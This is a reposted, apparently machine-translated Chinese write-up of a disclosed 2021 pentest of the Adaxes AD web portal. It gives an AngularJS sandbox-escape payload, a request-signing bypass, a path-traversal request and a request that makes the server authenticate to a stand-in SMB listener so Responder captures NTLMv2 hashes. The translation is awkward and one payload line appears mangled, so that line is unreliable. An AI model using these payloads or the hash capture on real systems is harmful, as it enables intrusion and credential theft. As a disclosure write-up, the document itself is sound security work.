寻找供应链中的零日漏洞|find 0day

寻找供应链中的零日漏洞|find 0day

Michel de Montaigne 曾经说过:“在世界最高的宝座上,我们仍然只坐在我们的最底层”。在考虑网络安全时,这种谦虚的邀请是值得记住的有趣引语。在当今世界,大多数技术都是相互关联的。我们依赖组件依赖其他组件。从第一个 DNS 请求到此 HTML 页面的呈现,有数百个甚至数千个层您创建的依赖项越多,攻击面就越宽。

此规则尤其适用于我们在ManoMano提供服务时使用的第 3 方解决方案ManoMano是一家专门从事 DIY、家居装修和在线园艺的欧洲领先企业。我们需要意识到我们正在实施什么以及我们是如何做的,以便控制我们的技术堆栈。

这就是为什么在 ManoMano,我们尽力考虑供应链攻击。供应链可以被视为交付产品或服务所需的每一方、活动或信息。我们的目标是保证之前,我们一个新的组件集成到链中,我们测试其安全性遵从性.

寻找供应链中的零日漏洞|find 0day

在本文中,我们将分享我们如何与我们的合作伙伴之一合作识别修复其产品中的漏洞。从第一侦察产品到的零日漏洞的利用,让我们潜入的一种组分 

Adaxes:图形广告管理器

An Active Directory (AD)是一种目录服务处理认证授权所有的用户和计算机在运行的域网络。该AD是一个集中的工具,允许用户进行身份验证某些服务或执行某些任务。

从本质上讲,这是一个由SysAdmin 团队处理的工具。在 ManoMano,其中一项需求是在团队所有者之间委派团队管理。该策略是为所有经理提供正确的工具来管理他们的团队访问权限,而无需依赖 SysAdmin 团队。这样,我们为每个人提供了更多的灵活性和自主权

这就是Adaxes发挥作用的地方。这种第三方解决方案允许组织通过自动化规则基于批准的工作流简单的集成以最佳方式处理AD。与所有这些强大的功能,我们只有一个目标:Proof oConceptPoC)解决方案。在 ManoMano,我们要求一个测试小组使用该解决方案并根据他们的需求提供反馈。

对于像关键型解决方案Adaxes,其直接插入到我们的一个Active  directory的安全小组参与在最开始的的PoC。那是我们的BatSignal

我们的使命很简单:

  • 我们模拟Adaxes服务的网络攻击查找漏洞
  • 我们与外部合作伙伴公司合作解决问题

从哪儿开始 ?

首先,我们需要了解我们的使命范围。Adaxes有许多不同的层。有一个直接连接到AD的软件和一个 Web 服务。我们只关注网络服务

我们以普通用户身份使用该工具同时将每个请求代理Burp Suite。Burp 将捕获我们的流量,然后我们将能够对其进行分析

通过在平台上闲逛,我们偶然发现了我们的第一个漏洞

挖出沙盒

在使用Wappalyzer检查 Adaxes 使用的技术时,我们很快发现Adaxes 使用的是 AngularJS

寻找供应链中的零日漏洞|find 0day

Angular 是众所周知的 Javascript 前端框架,它使开发人员能够使用模板系统更有效地进行编码。现在,作为一名安全猎人,当您看到网页使用 Angular 时,您正在考虑客户端模板注入

当 Web 应用程序使用模板框架将用户输入动态嵌入模板中而不对其进行转义时,就会发生这种攻击。例如,如果用户写{{ 7*7 }}并在页面中看到49,他可以安全地假设前端容易受到模板注入的攻击。问题是 Angular通常可以防止此类漏洞利用,因为它将模板沙箱化。这意味着您必须在评估沙箱之外的 Javascript 时找到一个逃离沙箱的有效负载,才能获得Javascript Injection

在测试 Adaxes 功能时,我们在 URL 散列中识别出用户输入直接反映在模板中。访问以下链接时:

adaxes.manomano.tld/#/Browse/CN=user.user,OU={{7*7}},DC=org

我们得到了以下结果:

寻找供应链中的零日漏洞|find 0day

您可能会在屏幕截图的右上角注意到,我们的输入被前端解释为模板

对我们来说幸运的是,Gareth HeyesIan Hickey已经为这个特定版本的 Angular 记录了一个沙箱逃逸。

以下payload确实在 DOM 中执行了 Javascript。

{{x={y:''.constructor.prototype};xycharAt=[].join;[1]|orderBy:'x=alert(document.domain)'}}

是的,但是我们可以从这里做什么?在一般情况下,当我们能够控制客户端的JavaScript中,就可以模仿任何行动,受害者被允许,领导与潜在损失保密性完整性AD根据权限和角色的受害者。

绕过签名的请求

但我们不要停在这里。请记住,在侦察开始时,我们已经设置了 Burp Suite 的代理来拦截浏览器和后端之间的所有流量。在分析这些日志时,我们偶然发现了一个问题:每个请求都经过签名,不仅是请求的正文还有标头

POST /Adaxes/api/directoryObjects/account/enable HTTP/1.1
Host: adaxes.manomano.tld
Cookie: [Token]
Adm-Authorization: [Token]
Accept-Language: en-gb
Sec-Ch-Ua-Mobile: ?0
Adm-Service: [uuid]
Adm-Webui-Configuration: SelfService
Content-Type: application/json;charset=UTF-8
Adm-Signed-Headers: Accept;Accept-Language;Adm-Authorization;Adm-Service;Adm-WebUI-Configuration;Content-Type
Adm-Signature: emNpXj10UXZHUGtPLGtPJUsuSkZYPw=TFxjSV9jP3AlTDFUO3QtS3hFZTMzRGtPeUtdNHVsLltSQydzdDNfaG5dKXlzc2BZPn1fIEMhdW9eW1RPLG1MPiJ9ck0wRSNiKUdHZTg7VEpDcjNXUiZxPHJuMmp6LCl9PHN9aU56MllLdF9JXWs6MSojKWcmRCF+VF9Iclo=
Connection: close{“directoryObject”:”CN=user.user,OU=group,DC=org”}

在对应用程序进行渗透测试时,我们希望能够向后端发送我们自己的请求,以便发送不可预测的请求。目标是根据我们要执行的攻击类型来测试服务器的响应不幸的是,如果一切都由前端签名,那么在 Burp Suite 中使用中间人是行不通的。

但是等等……请求由前端签名……让我们尝试一下

如果一切都由前端签名,我们也许可以处理请求签名的 Javascript 代码进行逆向工程。这样我们就可以制作自己的payload并将我们想要的任何内容发送到后端。

第一步是找到处理行为的代码:

寻找供应链中的零日漏洞|find 0day

搜索函数signRequest

signRequest: function(e, t) {
 var n = e.method + '\n'
 , i = function(e) {
 for (var t = e.split('/'), n = t.length, i = 0; i < n; i++)
 t[i] = decodeURIComponent(t[i]);
 return '~/' + t.join('/')
 }(e.url);
 n += i + '\n';
 var r = e.params || {};
 n += function(e) {
 var t = ''
 , n = {};
 for (var i in e)
 n[l(i)] = l(e[i]);
 var r = Object.keys(n).sort()
 , a = r.length;
 if (0 < a) {
 for (var o = [], s = 0; s < a; s++)
 o.push(r[s] + '=' + n[r[s]]);
 0 < o.length && (t = o.join('&'))
 }
 return t;
 function l(e) {
 return encodeURIComponent(e).replace(/%40/gi, '@').replace(/%3A/gi, ':').replace(/%24/g, '$').replace(/%2C/gi, ',').replace(/%3B/gi, ';').replace(/%20/g, '+')
 }
 }(r) + '\n';
 var a = e.headers
 , o = ''
 , s = {};
 for (var l in a) {
 var c = a[l];
 null === c || _.isUndefined(c) || (s[l] = c.toString().trim())
 }
 var d = Object.keys(s).sort()
 , u = d.length;
 if (0 < u)
 for (var m = 0; m < u; m++)
 o += d[m].toLowerCase() + ':' + s[d[m]].toLowerCase() + '\n';
 if (n += o,
 e.headers[f.ADM_SIGNED_HEADERS] = d.join(';'),
 e.data) {
 var p = e.data;
 _.isString(p) || (p = _.toJson(p)),
 p = function(e) {
 var t = ''
 , n = e.length
 , i = 0
 , r = 0;
 for (; r < n - 1; ) {
 if (e.charCodeAt(r + 1) === g) {
 var a = v[e[r]];
 if (a) {
 t += e.substring(i, r),
 t += a,
 i = r += 2;
 continue
 }
 }
 r++
 }
 return t ? t += e.substring(i) : e
 }(p),
 n += h.generateHash(p)
 }
 e.headers[f.ADM_SIGNATURE] = h.createSignature(n, t)
 }

尽管我们喜欢逆向工程缩小的 Javascript,但我们采用了稍微不同的方法来交替主体的内容。我们只是添加了一个断点。

寻找供应链中的零日漏洞|find 0day

现在每次应用程序发送请求并对其进行签名时,我们可以动态修改变量e的内容,其中包含与 HTTP 请求相关的所有信息:

寻找供应链中的零日漏洞|find 0day

signRequest函数上设置断点时,我们将自己置于请求的创建签名之间。断点将暂时停止代码,让我们覆盖包含HTTP 请求原始e变量。一旦我们覆盖了e变量,运行时就可以恢复,并且一个请求将与我们现在制作的 body一起发送。

枚举 API 调用

好的,现在我们可以开始测试后端服务器了。在检查我们在 Burp Suite 日志中收到的请求时,有一条通常称为. 它是/api/directoryObjects。在检查请求的 JSON 正文时,我们有类似的内容:

{
“properties”:[{
“propertyType”:1,
“propertyName”:”title”,
“values”:[“test”]
}],
“directoryObject”:”CN=user.user,OU=group,DC=org”
}

奇怪的是,当增加propertyType的值时,我们有不同类型的响应,直到我们在值 16 上得到一些非常奇怪的东西

HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Pragma: no-cache
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Content-Length: 128
Connection: Close
{“message”:”Could not find file ‘C:\\Windows\\TEMP\\Softerra\\Adaxes 3\\WebUIBlobStorage\\test.dat’.”,”code”:”generalException”}

发生的事情是我们的用户输入被转换为参数在系统上查找.dat文件

我们的第一反应是找出我们是否有某种本地文件包含。为了确认这一点,我们发送了payload:

{
 “properties”: [
 {
 “propertyType”: 16,
 “propertyName”: “title”,
 “values”: [
 “..\\..\\..\\..\\..\\Users\\Administrator\\NTUser”
 ]
 }
 ],
“directoryObject”: “CN=user.user,OU=group,DC=org”
}

返回数据

HTTP/1.1 403 Forbidden
Cache-Control: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Pragma: no-cache
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Content-Length: 104
Connection: Close
{“message”:”Access to the path ‘C:\\Users\\Administrator\\NTUser.dat’ is denied.”,”code”:”accessDenied”}

显然,机器 的权限不够高,无法加载.dat文件。问题是,我们现在能做什么?

ET家庭电话

让我向您介绍SMB协议是一个通信协议到系统之间共享文件,打印机或其他机器。一些实施方案SMB依靠LMNTLM身份验证只需要用户名哈希的机器。基本上,当您要尝试在另一台机器上进行身份验证时,您会将密码的哈希值发送到另一台主机

Adaxes 的 API 正在等待路径,但我们发现我们也可以将SMB URI 方案作为参数提供

如果我们想测试后端是否会向我们发送密码的哈希值,我们需要设置一个工具来拦截 SMB 数据包并输出机器的哈希值。当然,这个工具已经存在,叫做Responder。一旦 Responder 完全配置并等待连接,我们就可以发送请求。

为了发送请求,我们需要回到文章的上一步并绕过请求的签名。一旦断点被​​击中,我们只需要在 Dev Tool 控制台中复制粘贴以下代码:

e.method=”PATCH”; e.headers[“Content-Type”] = “application/json”; e.url=”api/directoryObjects”; e.data={
“properties”:[
 {“propertyType”:16, “propertyName”:”title”, “values”:[“//YOUR_LISTENER/test”]}
],
“directoryObject”:”CN=user.user,OU=group,DC=org”}
寻找供应链中的零日漏洞|find 0day

请求如下所示:

PATCH /Adaxes/api/directoryObjects HTTP/1.1
Host: adaxes.manomano.tld
Adm-Authorization: [SIGNED]
Adm-Webui-Configuration: SelfService
Content-Type: application/json
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Adm-Signed-Headers: Accept;Accept-Language;Adm-Authorization;Adm-Service;Adm-WebUI-Configuration;Content-Type
Adm-Signature: [SIGNED]
Connection: close
{“properties”:[{“propertyType”:16,”propertyName”:”title”,”values”:[“//YOUR_LISTENER/test”]}],”directoryObject”:”CN=user.user,OU=group,DC=org”}

你猜怎么着 ?我们得到了哈希密码!

寻找供应链中的零日漏洞|find 0day

要了解这一发现的影响,您可以阅读Ropnop关于NTML 哈希实际使用的文章,该文章得出的结论是“[…] NTLM 哈希在安全工具方面几乎与密码一样好。如果您破坏散列,所有相同的工具和技术仍然有效,您可以以该用户身份进行身份验证以浏览文件共享和执行命令。” 在这种特定情况下,Responder 检索NTLMv2哈希值,除了在本地破解密码外不能滥用

结论

作为攻击性安全工程师供应链绝对是最值得攻击的领域之一。归根结底,您有广阔的空间可以使用,许多不同的技术,最重要的是,您需要大量的创造力来了解工具如何相互关联

在评估服务后,我们将结果发送给Adaxes团队以缓解漏洞。他们于20218 月 12 日发布了补丁说明,修复了更新 5的问题

合作很棒,他们真的很被动。我们与他们打了几次电话来解释方法,并与他们的团队分享了一份完整的报告。

我要亲自感谢Adaxes 团队和我们亲爱的ManoMano SysAdmin团队❤。

披露时限表

2021 年 8 月 3 日:通过电子邮件联系供应商,但未提供漏洞详细信息。
2021 年 8 月 5 日:与展示漏洞的供应商的首次会议。
2021 年 8 月 6 日:与供应商的第二次会议,详细说明后续步骤。正在修复中。
2021 年 8 月 10 日:完整的书面报告发送给供应商。
2021 年 8 月 12 日:供应商发布了带有补丁说明的修复版本。

from

转载请注明出处及链接

Leave a Reply

您的邮箱地址不会被公开。 必填项已用 * 标注